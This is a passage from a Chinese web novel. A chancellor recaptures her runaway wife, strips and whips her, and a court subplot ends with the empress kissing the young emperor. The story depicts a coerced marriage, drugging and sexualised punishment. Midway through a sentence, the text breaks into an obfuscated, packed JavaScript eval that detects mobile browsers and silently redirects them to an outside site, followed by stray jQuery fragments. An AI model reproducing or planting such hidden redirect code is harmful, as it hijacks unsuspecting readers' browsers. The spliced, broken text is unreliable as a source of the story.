少女的神情一滞,像是见鬼一样看着她,渐渐抿住了唇,随后大喊:“沈明书,你仗势欺人。”
沈明书慢条斯理地整理了自己的袖口,板着脸,一本正经地看着惊慌的少女:“仗势欺人又如何,当日是你先招惹我的。”
三年前,沈明书因春耕出城,遇到少女被人欺负,顺势搭救,少女说的好听,以身相许。
原本以为是真心相许,未曾想到小东西靠近沈明书,图谋着她的家财,与人合谋,偷了一堆好东西去变卖。
事成之后,少女偷偷跑路,刚出城就被捉住回来。
沈明书官高,一路走上来,岂是心慈手软之辈,将她同伙打死,吓得她立即保证再也不跑,愿意成亲,做左相府的夫人。
左相府高挂灯笼,沈明书顺遂她的心意,与之成亲,按照话本故事发展,到这里该结束。
然而少女心不死,屡次想要跑路,三年来更是每每蛊惑沈明书,迷药情药用了一遍,想要逃之夭夭。
帝后大婚,沈相忙得脚不沾地,她便悄悄跑了,倒也有本事,拿着路引直接从城门大摇大摆地走了。
出了城,如同大海捞针,沈明书熟悉她的套路,直接去客栈将扮成小郎君的她捉回来。
少女气鼓鼓地看着她,咬咬牙,索性嚎啕大哭:“你不喜欢我,你也不爱我。”
“你偷的东西还在外面摆着,要本相细数吗?”沈明书敛袖坐下来,姿态闲散,脊背挺直,处处透着规矩。
她的一举一动都很优雅,带着赏心悦目,少女则是乡野出身,毫无规矩可言,但她身上带着沈明书想要的洒脱与天真。
婢女办事迅疾,快速将软鞭子奉上。
修长的指尖拿起手柄,轻轻地甩了甩,慢慢地勾起唇角,“姚小姑娘,自己脱衣裳。”
傲娇的姚小姑娘瓷白粉妍的小脸上浮现几分羞耻,直勾勾地看着对方:“沈明书……”
“闭嘴。”沈明书陡然变了脸色,扬起的长睫悬着冷意,衬得她清白玉骨中多是无情,“你想走就走,为何带着我沈府的东西。”
姚瑶憋了一肚子气:“你说,那是给我的嫁妆,是我的东西。”
沈明书轻轻地用手指弹了弹细软的鞭子,声音反常地薄凉:“也就是说你要钱不要人,对吗?”
姚瑶不吭声。
沈明书嗤笑一声:“原来本相竟然还不如一些死物。”
堂堂当朝左相,少年天子的启蒙老师,官居一品,权倾朝野,在她眼里,不如真金白银。
沈明书眼中闪过落寞,可是很快,便被狠厉取代,再抬眸时,眸清肤白,端的一副光风霁月的姿态。
“过来,衣裳脱了。”她笑着同姚瑶招手。
她惯来说一不二,姚瑶心中畏惧,轻声细语:“我想自己脱。”
“不,我替你脱。”
沈明书笑着拒绝,神色恢复往日的温柔,甚至裹藏着一股情意,她喜欢面前的少女,哪怕付出一切,也要紧紧握在手中。
这是她的女孩子,旁人休想染指。
沈明书伸手,将少女身上的衣襟一件一件剥下,最后,只剩下一件小衣。
三年的时间,她将少女养得细皮嫩肉,一寸寸肌肤都是美丽的。
屋内寂静下来,只剩下姚瑶粗.重的呼吸声,她紧紧地凝着面前的罪魁祸首,而罪魁祸首笑吟吟地提醒她:“趴下。”
“我不,我是人……”
“你偷我的东西!”
姚瑶偃旗息鼓,转悲愤为伤心:“沈明书,你会遭到报应的。”
沈明书心平气和:“我已经遭到报应了。”小皇帝拿捏住她私自调兵的把柄,日后行事,受制于人。
但她不会告诉眼前的贪财鬼。
姚瑶屈辱地趴下来,不忘瞪着沈明书:“我还会跑的。沈明书……”
“姚姑娘,已经许久没有人喊我沈明书。”沈明书提醒她,哪怕与她合谋将小皇帝捧上帝位的太后殿下都尊称她一声‘沈相’。
软鞭的鞭捎滑过少女柔软的肌肤,像是一层羽毛轻轻拂过,引得一阵阵颤.栗。
姚瑶缩着脑袋,想要挣扎,鞭捎拂过颤.栗的肌肤,滑落下来,掀起一阵疼意。
但肌肤未破,只是多了一道红痕,像是红梅枝落在白雪中,白雪红梅,红得引人注目。
姚瑶疼得一颤,肌肤上掀起一层热意,她咬咬牙将骂人的话吞回肚子里。
几鞭过后,雪白的肌肤上红得明艳极了。
沈明书欣赏自己的画作,姚瑶却疼得想骂人,下一息,沈明书将人翻过来,俯身吻上她喋喋不休的唇角。
……
黄昏时分,斜光打入屋内,落在几上,如蝶翼般长了翅膀,来回游动。
李珵将奏疏合上,女官来回禀:“陛下,晋阳长公主已知道错了。”
“知道错了?”李珵雪白的面容浮现了一丝冷笑,冷白的指骨紧紧捏着袖口,“你问她,若是知道错了,便去替沈太后守着陵寝,三年期满载再回京。若是不去,便在家里好好反省。”
女官接了旨意,迅速去长公主府传话。
屋内安静无声,晋阳长公主李瑜躺在床上,膝盖处疼得发烫,冷汗在发间滑落,听到女官的话后,她瞪大眼睛,心中恨意滔天。
让她给沈怀殷守陵?
沈怀殷配吗?
李瑜冷笑一声,闭上眼睛,装作没有听到。
等候片刻,女官回宫复命,李珵依旧温软,不动怒不生气:“随她罢了。”
处理过政事,李珵往中宫而去。
皇后正在与陆真说话:“你去查一查,先帝在位时,陛下可曾犯错遭到鞭笞。”
陆真眨了眨眼睛,抬手行礼:“您问对人了,臣知晓。”
“你知道?”皇后惊愕抬首,“为何事?”
“为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586885|170206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了沈太后。”
那年先帝沉迷于丹药之说,后听信妖言,想让上官皇后回魂,以当时的皇后殿下沈怀殷入阵,祭入鲜血。
那阵法所用的祭盘颇大,若用人的鲜血,只怕阵法结束,人也没有命了。
李珵年岁还小,不过十四岁,正是血气方刚,闻讯后提剑杀入宫内,当场将那道士捅出三个血窟窿。
道士是先帝千辛万苦从民间找来的,耗费辛苦,就这么被李珵杀了。
事后李珵毫无悔改之意,甚至‘狡辩’先皇后上官信早就死了,与先帝辩驳争执。
先帝是天子,又是李珵的养母,岂会听她狡辩。
怒到极致,母女二人大吵一场,自然是李珵遭殃,挨了一顿鞭子。
“听说那回陛下大病一场,养伤养了三月才好,险些被打死。事后,再无道士敢进言用沈太后的鲜血入阵,倒是让沈太后喝什么乱七八糟的符水。事后那道士被陛下抓住,打断了腿。先帝又将陛下罚了,跪在紫宸殿门口半日,人来人往,十分丢人。”
陆真唏嘘不已,“这件事知晓的人不多,听闻当年陛下大病,太医院倾巢而出才捡回一条命。”
话音落地,满室寂静,季明音抬起眼眸,冷冰冰地看着虚空,原来如此,难怪鞭痕那么深。
去了半条命。
陆真端详皇后的面容,双眼澄澈,气势威仪都有,只是她太过平静,像是山间隐士,误入凡尘,与尘世间格格不入。
“我知道了。”季明云语气沉静。
陆真退出去,再度与皇帝相遇,她行礼,皇帝颔首。
李珵回殿,用晚膳,随后歇息。
她坐在榻上,望着面前身姿娴雅的女子,宫娥熄灯,光线骤暗,她眨了眨眼睛,榻旁的灯火投在她的眉眼上,照出温柔缱绻。
皇后上榻,见她坐着,知晓她的想法,白日里张牙舞爪,晚上憋屈地像个小苦瓜。
李珵靠近,她的气息擦过皇后的鼻端。
季明音无奈,小皇帝看向她的眼神,既欣喜失落,还有些许不甘。
那种神色仿若在质问她:“你为何不爱我呢。”
李珵瘦弱的身子缓缓靠近,在榻前独灯的照耀下,勾勒出旖旎缱绻的光晕。她的鼻尖擦过皇后的侧脸,惹来一阵酥麻意,皇后后退半寸。
她不甘心,想要占有皇后,又恐惊扰佳人,最后,惹得生气。
季明音想起陆真说的话,知晓李珵此人秉性善良,是可靠的人。
眼看着今晚糊弄过去,面对李珵带钩子似的眼神,伸手捧起她的脸颊,轻轻地吻上她的唇。
二人气息若即若离,一旦碰上,掀起热浪。
李珵先惊愕,后醒悟过来,思绪被对方牵着走,当即反客为主,唇角沾上对方的气息,伸手抱住对方,试图加深这个吻。
克制多年的梦,在一刻成真。
她将要占有她、拥有她。